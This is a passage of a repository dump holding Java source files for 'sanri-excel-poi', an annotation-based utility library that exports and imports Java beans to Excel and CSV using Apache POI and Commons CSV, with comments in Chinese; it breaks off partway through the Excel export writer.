<filtering>false</filtering>\n            </resource>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n        </resources>\n\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.0.0</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/csv/CsvUtil.java",
    "content": "package com.sanri.csv;\n\nimport com.sanri.excel.poi.ColumnConfig;\nimport com.sanri.excel.poi.ColumnConfigUtil;\nimport com.sanri.excel.poi.annotation.ExcelExport;\nimport com.sanri.excel.poi.annotation.ExcelImport;\nimport org.apache.commons.csv.CSVFormat;\nimport org.apache.commons.csv.CSVParser;\nimport org.apache.commons.csv.CSVPrinter;\nimport org.apache.commons.csv.CSVRecord;\nimport org.apache.commons.io.FilenameUtils;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.ObjectUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.math.NumberUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.apache.commons.lang3.time.DateUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.beans.IntrospectionException;\nimport java.beans.PropertyDescriptor;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStreamWriter;\nimport java.nio.charset.Charset;\nimport java.text.ParseException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * csv 工具类\n * @param <T>\n */\npublic class CsvUtil<T> {\n    //CSV文件分隔符\n    private static final String NEW_LINE_SEPARATOR=\"\\n\";\n    //初始化csvformat\n    private static final CSVFormat CSV_FORMAT = CSVFormat.DEFAULT.withRecordSeparator(NEW_LINE_SEPARATOR);\n\n    private static Logger logger = LoggerFactory.getLogger(CsvUtil.class);\n\n    /**\n     * 导出数据到文件;  支持 list<Bean> 导出\n     * 需要 Bean 有 ExcelExport 注解 列有 ExcelColumn 注解\n     * 只需要列有 中文注解信息和顺序信息即可\n     * @param filePath\n     * @param data\n     * @param charset 建议使用  gbk 编码,用 excel 打开默认是 gbk 编码; 用 utf-8 编码用于程序解析\n     */\n    public static <T> File export(String filePath, List<T> data, Charset charset) throws IOException {\n        if(data == null || data.isEmpty()){\n            return null;\n        }\n\n        T firstData = data.get(0);\n        Class<?> dataTypeClass = firstData.getClass();\n        ExcelExport excelExport = dataTypeClass.getAnnotation(ExcelExport.class);\n        if(excelExport == null ){\n            throw new IllegalArgumentException(\"导出类 \"+dataTypeClass.getName()+\" 需要配置 \"+ExcelExport.class.getName()+\" 注解才可以导出\");\n        }\n\n        CSVPrinter csvPrinter = null;\n        File csvFile = null;\n        try {\n            List<ColumnConfig> columnConfigs = ColumnConfigUtil.parseColumnConfig(dataTypeClass, false);\n            if(columnConfigs.isEmpty()){\n                throw new IllegalArgumentException(dataTypeClass.getName()+\" 请配置需要导出的列\");\n            }\n\n            //对属性进行排序\n            Collections.sort(columnConfigs);\n\n            //得得数据列的头部\n            String [] heads = new String[columnConfigs.size()];\n            for (int i=0;i<columnConfigs.size();i++) {\n                ColumnConfig columnConfig =  columnConfigs.get(i);\n                String chinese = columnConfig.getChinese();\n                String propertyName = columnConfig.getPropertyName();\n\n                //中文列为空,使用属性名称\n                if(StringUtils.isBlank(chinese)){\n                    chinese = propertyName;\n                }\n\n                heads[i] = chinese;\n            }\n\n            Map<String, PropertyDescriptor> propertyMap = ColumnConfigUtil.getPropertyMap(dataTypeClass);\n            //遍历获取数据行\n            List<String []> records = new ArrayList<String []>();\n            for (int j=0 ;j<data.size();j++) {\n                T currentData =  data.get(j);\n                String [] values = new String[columnConfigs.size()];\n                records.add(values);\n                //遍历每一数据列\n                for (int i=0;i<columnConfigs.size();i++) {\n                    ColumnConfig columnConfig  = columnConfigs.get(i);\n                    String propertyName = columnConfig.getPropertyName();\n                    PropertyDescriptor propertyDescriptor = propertyMap.get(propertyName);\n                    Object propertyValue = ColumnConfigUtil.getPropertyValue(propertyDescriptor, currentData);\n                    if(propertyValue == null){\n                        values[i] = null;\n                    }else {\n                        Class<?> dataType = columnConfig.getDataType();\n                        if(dataType == Date.class){\n                            Date propertyDate = (Date) propertyValue;\n                            String pattern = columnConfig.getPattern();\n                            if(StringUtils.isNotEmpty(pattern)){\n                                try{\n                                    values[i] = DateFormatUtils.format(propertyDate,pattern);\n                                }catch (Exception e){\n                                    logger.error(\"第 \"+(j + 1)+\" 行日期格式化出错,列为:\"+columnConfig.getPropertyName());\n                                }\n                            }else{\n                                //格式化为 long 型值\n                                values[i] = propertyDate.getTime()+\"\";\n                            }\n\n                        }else{\n                            values [i] = ObjectUtils.toString(propertyValue);\n                        }\n                    }\n                }\n            }\n\n\n            csvFile = checkFilePath(filePath);\n\n            OutputStreamWriter fileWriter = new OutputStreamWriter(new FileOutputStream(csvFile),charset);\n            csvPrinter = new CSVPrinter(fileWriter, CSV_FORMAT);\n\n            //写入头部\n            csvPrinter.printRecord(heads);\n            //循环写入数据\n            for (String[] record : records) {\n                csvPrinter.printRecord(record);\n            }\n\n        } finally {\n            IOUtils.closeQuietly(csvPrinter);\n        }\n\n        return csvFile;\n    }\n\n\n    /**\n     * 导出 csv 文件生成 List<Bean> 需要要 ExcelImport 标志,需要设置起始行以忽略头\n     * @param in\n     * @param clazz\n     * @param <T>\n     * @return\n     */\n    public static <T> List<T> importData(InputStream in, Class<T> clazz,Charset charset) throws IOException {\n        ExcelImport excelImport = clazz.getAnnotation(ExcelImport.class);\n        if(excelImport == null){\n            throw new IllegalArgumentException(\"导出类 \"+clazz.getName()+\" 需要配置 \"+ExcelImport.class.getName()+\" 注解才可以导入\");\n        }\n        int startRow = excelImport.startRow();\n\n        CSVParser csvParser = null;\n        try {\n            List<ColumnConfig> columnConfigs = ColumnConfigUtil.parseColumnConfig(clazz, true);\n            String [] headers = new String[columnConfigs.size()];\n\n            //设置头部不读\n            for (int i =0;i<headers.length;i++) {\n                headers[i] = columnConfigs.get(i).getChinese();\n                if(StringUtils.isBlank(headers[i])){\n                    headers[i] = columnConfigs.get(i).getPropertyName();\n                }\n            }\n\n            CSVFormat csvFormat = CSVFormat.DEFAULT.withHeader(headers);\n            //创建CSVParser对象\n            InputStreamReader inputStreamReader = new InputStreamReader(in,charset);\n            csvParser = new CSVParser(inputStreamReader,csvFormat);\n            List<CSVRecord> records = csvParser.getRecords();\n\n            List<T> data = new ArrayList<T>();\n            //数据注入\n            try {\n                Map<String, PropertyDescriptor> propertyMap = ColumnConfigUtil.getPropertyMap(clazz);\n\n                if(records != null && !records.isEmpty()){\n                    for (int i=startRow;i<records.size();i++) {\n                        CSVRecord csvRecord  = records.get(i);\n                        T item = clazz.newInstance();\n                        data.add(item);\n\n                        //注入数据列\n                        for (ColumnConfig columnConfig : columnConfigs) {\n                            String chinese = columnConfig.getChinese();\n                            if(StringUtils.isBlank(chinese)){\n                                chinese = columnConfig.getPropertyName();\n                            }\n                            String value = csvRecord.get(chinese);\n                            if(value == null){\n                                // 空列时继续下一列\n                                continue;\n                            }\n                            PropertyDescriptor propertyDescriptor = propertyMap.get(columnConfig.getPropertyName());\n\n                            Class<?> dataType = columnConfig.getDataType();\n                            if(dataType == Date.class){\n                                Date dateValue = null;\n                                String pattern = columnConfig.getPattern();\n                                if(StringUtils.isNotEmpty(pattern)){\n                                    try{\n                                        dateValue = DateUtils.parseDate(value,new String[]{pattern});\n                                    }catch (ParseException e){\n                                        logger.error(\"第 行日期解析失败,当前日期格式为 \"+pattern);\n                                    }\n                                }else{\n                                    long timeValue = NumberUtils.toLong(value);\n                                    dateValue = new Date(timeValue);\n                                }\n\n                                if(dateValue != null){\n                                    ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,dateValue);\n                                }\n                            }else if(dataType == String.class){\n                                ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,value);\n                            }else if(dataType == Integer.class || dataType == int.class){\n                                ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,NumberUtils.toInt(value));\n                            }else if(dataType == Long.class || dataType == long.class){\n                                ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,NumberUtils.toLong(value));\n                            }else if(dataType == Float.class || dataType == float.class){\n                                ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,NumberUtils.toFloat(value));\n                            }else if(dataType == Double.class || dataType == double.class){\n                                ColumnConfigUtil.setPropertyValue(propertyDescriptor,item,NumberUtils.toDouble(value));\n                            }else{\n                                logger.error(\"当前列数据类型\"+dataType.getName()+\"不支持自动注入,只支持[int,float,long,double]中的一种,在:\"+columnConfig.getChinese());\n                            }\n                        }\n                    }\n                }\n            } catch (InstantiationException e) {\n                e.printStackTrace();\n            } catch (IllegalAccessException e) {\n                e.printStackTrace();\n            }\n            return data;\n        } finally {\n            if(csvParser != null){\n                csvParser.close();\n            }\n            IOUtils.closeQuietly(in);\n        }\n    }\n\n    /**\n     * 检查文件路径 ,并创建父路径\n     * @param filePath\n     * @return\n     */\n    private static File checkFilePath(String filePath) {\n        File csvFile = new File(filePath);\n        if(csvFile.exists()){\n            String extension = FilenameUtils.getExtension(filePath);\n            // 如果文件存在,则创建一个指定时间戳的文件\n            return new File(filePath + \"-\"+System.currentTimeMillis()+\".\"+extension);\n\n        }\n\n        File parentFile = csvFile.getParentFile();\n        if(!parentFile.exists()){\n            parentFile.mkdirs();\n        }\n        return csvFile;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/ExcelException.java",
    "content": "package com.sanri.excel;\n\n/**\n * Excel 异常信息\n */\npublic class ExcelException extends RuntimeException {\n    public ExcelException(String message) {\n        super(message);\n    }\n\n    public ExcelException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/ColumnConfig.java",
    "content": "package com.sanri.excel.poi;\n\nimport com.sanri.excel.poi.converter.ExcelConverter;\nimport com.sanri.excel.poi.enums.CellType;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.lang.reflect.Method;\n\n/**\n * \n * 作者:sanri <br/>\n * 时间:2017-8-12下午2:47:48<br/>\n * 功能:列配置,用于排序 <br/>\n */\npublic class ColumnConfig implements Comparable<ColumnConfig>{\n\tprivate boolean hidden;\n\tprivate boolean chineseWidth;\n\tprivate boolean trim;\n\n\tprivate String pattern;\n\tprivate String chinese;\n\tprivate int width;\n\tprivate int charWidth;\n\tprivate int pxWidth;\n\tprivate int order;\n\tprivate int precision;\n\n\t//属性名,必须不为空\n\tprivate String propertyName;\n\tprivate Method readMethod;\n\tprivate Method writeMethod;\n\tprivate Class<?> dataType;\n\tprivate CellType cellType;\n\tprivate ExcelConverter excelConverter;\n\t\n\tpublic ColumnConfig(String propertyName, Method readMethod, Method writeMethod) {\n\t\tsuper();\n\t\tthis.propertyName = propertyName;\n\t\tthis.readMethod = readMethod;\n\t\tthis.writeMethod = writeMethod;\n\t}\n\t\n\t/**\n\t * \n\t * 作者:sanri <br/>\n\t * 时间:2017-8-12下午2:56:02<br/>\n\t * 功能:配置所有的配置,如果传入值为非默认值,则配置 <br/>\n\t * @param chinese\n\t * @param width\n\t * @param index\n\t * @param hidden\n\t * @param pattern\n\t */\n\tpublic void config(String chinese,int width,int charWidth,int pxWidth,int index,boolean hidden,String pattern,boolean chineseWidth,boolean trim,CellType cellType,int precision){\n\t\tif(StringUtils.isNotBlank(chinese)){\n\t\t\tthis.chinese = chinese;\n\t\t}\n\t\tthis.width = width;\n\t\tthis.charWidth = charWidth;\n\t\tthis.pxWidth = pxWidth;\n\t\tif(index != -1){\n\t\t\tthis.order = index;\n\t\t}\n\t\tthis.hidden = hidden;\n\t\tif(StringUtils.isNotBlank(pattern)){\n\t\t\tthis.pattern = pattern;\n\t\t}\n\t\tthis.precision = precision;\n\t\tthis.chineseWidth = chineseWidth;\n\t\tthis.cellType = cellType;\n\t\tthis.trim = trim;\n\t}\n\n\tpublic boolean isHidden() {\n\t\treturn hidden;\n\t}\n\n\tpublic void setHidden(boolean hidden) {\n\t\tthis.hidden = hidden;\n\t}\n\n\tpublic String getPattern() {\n\t\treturn pattern;\n\t}\n\n\tpublic void setPattern(String pattern) {\n\t\tthis.pattern = pattern;\n\t}\n\n\tpublic String getChinese() {\n\t\treturn chinese;\n\t}\n\n\tpublic void setChinese(String chinese) {\n\t\tthis.chinese = chinese;\n\t}\n\n\tpublic int getWidth() {\n\t\treturn width;\n\t}\n\n\tpublic void setWidth(int width) {\n\t\tthis.width = width;\n\t}\n\n\tpublic int getOrder() {\n\t\treturn order;\n\t}\n\n\tpublic void setOrder(int order) {\n\t\tthis.order = order;\n\t}\n\n\tpublic String getPropertyName() {\n\t\treturn propertyName;\n\t}\n\n\tpublic void setPropertyName(String propertyName) {\n\t\tthis.propertyName = propertyName;\n\t}\n\n\tpublic Method getReadMethod() {\n\t\treturn readMethod;\n\t}\n\n\tpublic void setReadMethod(Method readMethod) {\n\t\tthis.readMethod = readMethod;\n\t}\n\n\tpublic Method getWriteMethod() {\n\t\treturn writeMethod;\n\t}\n\n\tpublic void setWriteMethod(Method writeMethod) {\n\t\tthis.writeMethod = writeMethod;\n\t}\n\t\n\tpublic int compareTo(ColumnConfig o) {\n\t\tif(this.order != -1 && o.order != -1){\n\t\t\treturn this.order - o.order;\n\t\t}\n\t\treturn this.propertyName.compareTo(o.propertyName);\n\t}\n\n\tpublic Class<?> getDataType() {\n\t\treturn dataType;\n\t}\n\n\tpublic void setDataType(Class<?> dataType) {\n\t\tthis.dataType = dataType;\n\t}\n\n\tpublic boolean isChineseWidth() {\n\t\treturn chineseWidth;\n\t}\n\n\tpublic void setChineseWidth(boolean chineseWidth) {\n\t\tthis.chineseWidth = chineseWidth;\n\t}\n\n\tpublic int getCharWidth() {\n\t\treturn charWidth;\n\t}\n\n\tpublic void setCharWidth(int charWidth) {\n\t\tthis.charWidth = charWidth;\n\t}\n\n\tpublic int getPxWidth() {\n\t\treturn pxWidth;\n\t}\n\n\tpublic void setPxWidth(int pxWidth) {\n\t\tthis.pxWidth = pxWidth;\n\t}\n\n\tpublic CellType getCellType() {\n\t\treturn cellType;\n\t}\n\n\tpublic void setCellType(CellType cellType) {\n\t\tthis.cellType = cellType;\n\t}\n\n\tpublic boolean isTrim() {\n\t\treturn trim;\n\t}\n\n\tpublic void setTrim(boolean trim) {\n\t\tthis.trim = trim;\n\t}\n\n\tpublic int getPrecision() {\n\t\treturn precision;\n\t}\n\n\tpublic void setPrecision(int precision) {\n\t\tthis.precision = precision;\n\t}\n\n\tpublic ExcelConverter getExcelConverter() {\n\t\treturn excelConverter;\n\t}\n\n\tpublic void setExcelConverter(ExcelConverter excelConverter) {\n\t\tthis.excelConverter = excelConverter;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/ColumnConfigUtil.java",
    "content": "package com.sanri.excel.poi;\n\nimport com.sanri.excel.ExcelException;\nimport com.sanri.excel.poi.ColumnConfig;\nimport com.sanri.excel.poi.annotation.ExcelColumn;\nimport com.sanri.excel.poi.converter.ExcelConverter;\nimport com.sanri.excel.poi.converter.NULLConverter;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.ClassUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.apache.commons.lang3.time.DateUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.beans.BeanInfo;\nimport java.beans.IntrospectionException;\nimport java.beans.Introspector;\nimport java.beans.PropertyDescriptor;\nimport java.lang.reflect.*;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class ColumnConfigUtil {\n    private static Logger logger = LoggerFactory.getLogger(ColumnConfigUtil.class);\n\n    /**\n     * 功能:获取类的列配置<br/>\n     * 创建时间:2017-8-12下午10:08:21<br/>\n     * 作者：sanri<br/>\n     * @param clazz\n     * @param readWrite 解析读时为真,解析写时为假\n     * @return\n     */\n    public static List<ColumnConfig> parseColumnConfig(Class<? extends Object> clazz, boolean readWrite) {\n        List<ColumnConfig> columnConfigs = new ArrayList<ColumnConfig>();\n\n        try{\n            //获取列配置,所有需要导出的类,最后应该都是从 Object 继承\n            BeanInfo beanInfo = Introspector.getBeanInfo(clazz, Object.class);\n            PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();\n            if(propertyDescriptors == null || propertyDescriptors.length == 0 ){\n                //必须要有属性配置\n                throw new ExcelException(\"bean 和其父类, 必须至少包含一个属性\");\n            }\n\n            //获取 bean 上所有的列配置\n            for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {\n                Method readMethod = propertyDescriptor.getReadMethod();\n                Method writeMethod = propertyDescriptor.getWriteMethod();\n                String propertyName = propertyDescriptor.getName();\n                Class<?> propertyType = propertyDescriptor.getPropertyType();\n                if(!typeSupport(propertyType)){\n                    throw new ExcelException(\"不支持的类型:\"+propertyType);\n                }\n                //只导出属性可读的属性,没有 get 方法的属性不进行导出\n                if((readMethod != null && readWrite) || (writeMethod != null && !readWrite)){\n                    //先从属性列上获取配置,如果属性列上没有,就从读方法上获取,并覆盖属性列上的配置\n                    ColumnConfig columnConfig = new ColumnConfig(propertyName, readMethod, writeMethod);\n                    columnConfig.setDataType(propertyType);\n                    Field propertyField = null;\n                    Class<?> currentClass = clazz;\n                    while(currentClass != Object.class && propertyField == null){\n                        try{\n                            propertyField = currentClass.getDeclaredField(propertyName);\n                        }catch(NoSuchFieldException e){\n                            currentClass = currentClass.getSuperclass();\n                        }\n                    }\n                    if(propertyField == null){\n                        throw new NoSuchFieldException(\"未找到属性:\"+propertyName);\n                    }\n                    ExcelColumn excelColumn = propertyField.getAnnotation(ExcelColumn.class);\n                    if(excelColumn != null) {\n                        columnConfig.config(excelColumn.value(), excelColumn.width(), excelColumn.charWidth(), excelColumn.pxWidth(), excelColumn.order(), excelColumn.hidden(), excelColumn.pattern(), excelColumn.chineseWidth(), excelColumn.trim(), excelColumn.cellType(), excelColumn.precision());\n                        Class<? extends ExcelConverter> converter = excelColumn.converter();\n                        if(converter != NULLConverter.class) {\n                            //检测原类型是否匹配\n                            ParameterizedType genericInterface = (ParameterizedType) converter.getGenericInterfaces()[0];\n                            Type sourceType = genericInterface.getActualTypeArguments()[0];\n                            if(sourceType != propertyType && sourceType != ClassUtils.primitiveToWrapper(propertyType)){\n                                throw new ExcelException(\"转换器[\"+converter+\"]不能匹配目标类型[\"+propertyType+\"]在列[\"+excelColumn.value()+\"]\");\n                            }\n\n                            try {\n                                ExcelConverter excelConverter = converter.newInstance();\n                                columnConfig.setExcelConverter(excelConverter);\n                            } catch (Exception e) {\n                                logger.error(\"初始化转化器出错，当前列:\" + excelColumn.value());\n                            }\n                        }\n                    }\n                    //使用方法上的配置,覆盖属性上的配置\n                    ExcelColumn methodExcelColumn = null;\n                    if(readWrite){\n                        //从读方法上覆盖配置\n                        methodExcelColumn = readMethod.getAnnotation(ExcelColumn.class);\n                    }else{\n                        //从写方法上覆盖配置\n                        methodExcelColumn = writeMethod.getAnnotation(ExcelColumn.class);\n                    }\n                    if(methodExcelColumn != null){\n                        columnConfig.config(methodExcelColumn.value(), methodExcelColumn.width(),excelColumn.charWidth(),excelColumn.pxWidth(), methodExcelColumn.order(), methodExcelColumn.hidden(), methodExcelColumn.pattern(),excelColumn.chineseWidth(),excelColumn.trim(),excelColumn.cellType(),excelColumn.precision());\n                    }\n                    //add by sanri at 2017/08/30 只有配置了 ExcelColumn 的才可进行导入导出\n                    if(excelColumn != null || methodExcelColumn != null){\n                        columnConfigs.add(columnConfig);\n                    }\n                }\n            }\n            //对导出的属性配置进行排序\n            Collections.sort(columnConfigs);\n        }catch (ExcelException e){throw e;}\n        catch (Exception e){\n            throw new ExcelException(\"解析列配置出错:\"+e.getMessage(),e);\n        }\n        return columnConfigs;\n    }\n\n    /**\n     *\n     * 作者:sanri <br/>\n     * 时间:2017-8-12下午2:29:59<br/>\n     * 功能: 是否支持给定的类型<br/>\n     * @param clazz\n     * @return\n     */\n    private static boolean typeSupport(Class<?> clazz){\n        return clazz.isPrimitive() || clazz == String.class\n                || clazz == Integer.class || clazz == Short.class\n                || clazz == Long.class || clazz == Float.class\n                || clazz == Double.class || clazz == Character.class\n                || clazz == Boolean.class || clazz == Byte.class\n                || clazz == Date.class;\n    }\n\n    /**\n     * 获取属性描述器映射\n     * @param clazz\n     * @return\n     */\n    public static Map<String,PropertyDescriptor> getPropertyMap(Class<? extends Object> clazz){\n        Map<String,PropertyDescriptor> propertyDescriptorMap = new HashMap<String,PropertyDescriptor>();\n        try {\n            BeanInfo beanInfo = Introspector.getBeanInfo(clazz, Object.class);\n            PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();\n            if(ArrayUtils.isNotEmpty(propertyDescriptors)){\n                for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {\n                    String name = propertyDescriptor.getName();\n                    propertyDescriptorMap.put(name,propertyDescriptor);\n                }\n            }\n        } catch (IntrospectionException e) {\n            e.printStackTrace();\n        }\n\n        return propertyDescriptorMap;\n    }\n\n    /**\n     * 获取属性值\n     * @param propertyDescriptor\n     * @param object\n     * @return\n     */\n    public static Object getPropertyValue(PropertyDescriptor propertyDescriptor,Object object){\n        Method readMethod = propertyDescriptor.getReadMethod();\n        try {\n            Object invoke = readMethod.invoke(object);\n            return invoke;\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    /**\n     * 设置属性值\n     * @param propertyDescriptor\n     * @param object\n     * @param value\n     */\n    public static void setPropertyValue(PropertyDescriptor propertyDescriptor,Object object,Object value){\n        Method writeMethod = propertyDescriptor.getWriteMethod();\n        try {\n            writeMethod.invoke(object,value);\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/main/java/com/sanri/excel/poi/ExcelExportWriter.java",
    "content": "package com.sanri.excel.poi;\n\nimport com.sanri.excel.ExcelException;\nimport com.sanri.excel.poi.annotation.ExcelExport;\nimport com.sanri.excel.poi.converter.DefaultBooleanStringConverter;\nimport com.sanri.excel.poi.converter.ExcelConverter;\nimport com.sanri.excel.poi.enums.CellType;\nimport com.sanri.excel.poi.enums.ExcelVersion;\nimport org.apache.commons.lang3.ClassUtils;\nimport org.apache.commons.lang3.ObjectUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.math.NumberUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.*;\nimport org.apache.poi.ss.util.CellRangeAddress;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.*;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.math.BigDecimal;\nimport java.math.RoundingMode;\nimport java.util.*;\n\n/**\n * 导出 Excel\n */\npublic class ExcelExportWriter<T> {\n    public static final float BASE_WIDTH_1_PX = 35.7f;\n    public static final float BASE_HEIGHT_1_PX = 15.625f;\n    public static final float BASE_CHINESE = 2 * 256;\n\n    private Logger logger = LoggerFactory.getLogger(ExcelExportWriter.class);\n\n    private Workbook workbook = null;\n    private ExcelExport excelExport;\n    private Class<T> clazz;\n\n    public ExcelExportWriter(Class<T> clazz) {\n        this.clazz = clazz;\n        ExcelExport excelExport = clazz.getAnnotation(ExcelExport.class);\n        if (excelExport == null) {\n            throw new ExcelException(\"导出类[\" + clazz.getName() + \"]需要注解 @ExcelExport\");\n        }\n        this.excelExport = excelExport;\n\n        ExcelVersion excelVersion = excelExport.version();\n        switch (excelVersion) {\n            case EXCEL2003:\n                workbook = new HSSFWorkbook();\n            case EXCEL2007:\n                boolean fastModel = excelExport.fastModel();\n                if (fastModel) {\n                    int rowAccessWindowSize = excelExport.rowAccessWindowSize();\n                    workbook = new SXSSFWorkbook(rowAccessWindowSize);\n                } else {\n                    workbook = new XSSFWorkbook();\n                }\n        }\n    }\n\n    /**\n     * @param excelVersion\n     * @param tips    提示文本,调用导出为空时可使用此方法返回一个带提示文本的工作薄\n     * @作者: sanri\n     * @时间: 2017/8/12 21:32\n     * @功能: 创建空的工作薄\n     */\n    public static Workbook createEmptyWorkbook(String tips,ExcelVersion excelVersion) {\n        Workbook workbook = null;\n        if(excelVersion == ExcelVersion.EXCEL2003){\n            workbook = new HSSFWorkbook();\n        }else {\n            workbook = new XSSFWorkbook();\n        }\n        if (StringUtils.isNotBlank(tips)) {\n            Sheet sheet = workbook.createSheet();\n            Row row = sheet.createRow(0);\n            Cell cell = row.createCell(0);\n            cell.setCellValue(tips);\n            //设置列宽为 tips中文列宽\n            sheet.setColumnWidth(0, (int) (tips.length() * BASE_CHINESE));\n        }\n        return workbook;\n    }\n\n    /**\n     * 功能:创建单元格样式<br/>\n     * 创建时间:2017-8-13上午7:46:59<br/>\n     * 作者：sanri<br/>\n     *\n     * @param workbook\n     * @param font       字体设置\n     * @param background 背景色\n     * @param center     是否居中\n     * @param wrapText   是否自动换行\n     * @return<br/>\n     */\n    public CellStyle createCellStyle(Font font, IndexedColors background, boolean center, boolean wrapText) {\n        CellStyle createCellStyle = workbook.createCellStyle();\n        if (font != null) {\n            createCellStyle.setFont(font);\n        }\n        createCellStyle.setFillForegroundColor(background.getIndex());\n        createCellStyle.setFillPattern(CellStyle.SOLID_FOREGROUND);\n        createCellStyle.setBorderBottom(CellStyle.BORDER_THIN);\n        createCellStyle.setBorderLeft(CellStyle.BORDER_THIN);\n        createCellStyle.setBorderRight(CellStyle.BORDER_THIN);\n        createCellStyle.setBorderTop(CellStyle.BORDER_THIN);\n        if (center) {//水平居中,垂直居中\n            createCellStyle.setAlignment(CellStyle.ALIGN_CENTER);\n            createCellStyle.setVerticalAlignment(CellStyle.VERTICAL_CENTER);\n        }\n        createCellStyle.setWrapText(wrapText);\n        return createCellStyle;\n    }\n\n    /**\n     * 功能:创建字体 <br/>\n     * 创建时间:2017-8-13上午7:37:34<br/>\n     * 作者：sanri<br/>\n     *\n     * @param workbook\n     * @param family   字体种类\n     * @param color    字体颜色\n     * @param size     字体大小\n     * @param b        是否加粗\n     * @return<br/>\n     */\n    public Font createCellFont(String family, IndexedColors color, short size, boolean b) {\n        Font createFont = workbook.createFont();\n        createFont.setCharSet(Font.DEFAULT_CHARSET);\n        createFont.setColor(color.getIndex());\n        createFont.setFontName(family);\n//\t\tcreateFont.setFontHeight(size);\n        //modify by sanri at 2017/09/19 字体使用点数\n        createFont.setFontHeightInPoints(size);\n        if (b) {\n            createFont.setBoldweight((short) 700);\n        }\n        return createFont;\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-9-19下午4:59:04<br/>\n     * 功能:创建字体  <br/>\n     *\n     * @param family 字体种类\n     * @param color  字体颜色\n     * @param size   字体大小\n     * @param b      是否加粗\n     * @param i      是否斜体\n     * @param u      是否加下划线\n     * @return\n     */\n    public Font createCellFont(String family, IndexedColors color, short size, boolean b, boolean i, boolean u) {\n        Font createFont = createCellFont(family, color, size, b);\n        createFont.setItalic(i);\n        if (u) {\n            createFont.setUnderline((byte) 1);\n        }\n        return createFont;\n    }\n\n    /**\n     * 作者:sanri <br/>\n     * 时间:2017-8-12下午1:53:58<br/>\n     * 功能: 导出 excel <br/>\n     *\n     * @param title      标题\n     * @param data       数据列表\n     * @param titleStyle 标题样式\n     * @param headStyle  头部样式\n     * @param bodyStyle  主体数据样式\n     * @return\n     */\n    public Workbook export(String title, List<T> data, CellStyle titleStyle, CellStyle headStyle, CellStyle bodyStyle) {\n        if (data == null || data.size() == 0) {\n            //无数据直接反回空\n            return null;\n        }\n        //解析列配置\n        List<ColumnConfig> columnConfigs = ColumnConfigUtil.parseColumnConfig(clazz, true);\n\n        ExcelVersion version = excelExport.version();\n        int sheetMaxRow = -1;\n        if (excelExport.sheetMaxRow() == -1 && version == ExcelVersion.EXCEL2003) {\n            //设置配置为最大行数\n            sheetMaxRow = 60000;\n        }\n        try {\n            //计算数据是否超量,是否需要创建多个 sheet\n            List<Sheet> sheets = new ArrayList<Sheet>();\n            if (sheetMaxRow == -1 || data.size() <= sheetMaxRow) {\n                //只会创建一个 sheet\n                Sheet createSheet = workbook.createSheet(\"全部数据\");\n                sheets.add(createSheet);\n            } else {\n                int sheetCount = (data.size() - 1) / sheetMaxRow + 1;\n                for (int i = 0; i < sheetCount; i++) {\n                    Sheet createSheet = workbook.createSheet(\"部分数据_part\" + i);\n                    sheets.add(createSheet);\n                }\n            }\n            //正式添加数据\n            if (sheets.size() == 1) {        //添加全部数据到一张 sheet 页中,如果只有一张 sheet 页的话\n                Sheet sheet = sheets.get(0);\n                int startRow = createSheetTitle(title, titleStyle, 